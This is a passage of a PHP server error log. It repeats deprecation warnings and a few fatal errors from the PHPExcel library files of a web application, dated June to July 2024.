/home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:47 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:15:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:15:55 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [29-Jun-2024 02:16:04 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:16:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:16:16 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 02:16:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 03:16:12 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 164 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 252 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 266 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 296 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 330 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 339 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 369 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 05:17:51 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 08:01:24 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 08:15:31 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 08:48:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 09:21:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-Jun-2024 15:06:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [03-Jul-2024 18:44:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [03-Jul-2024 19:19:03 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 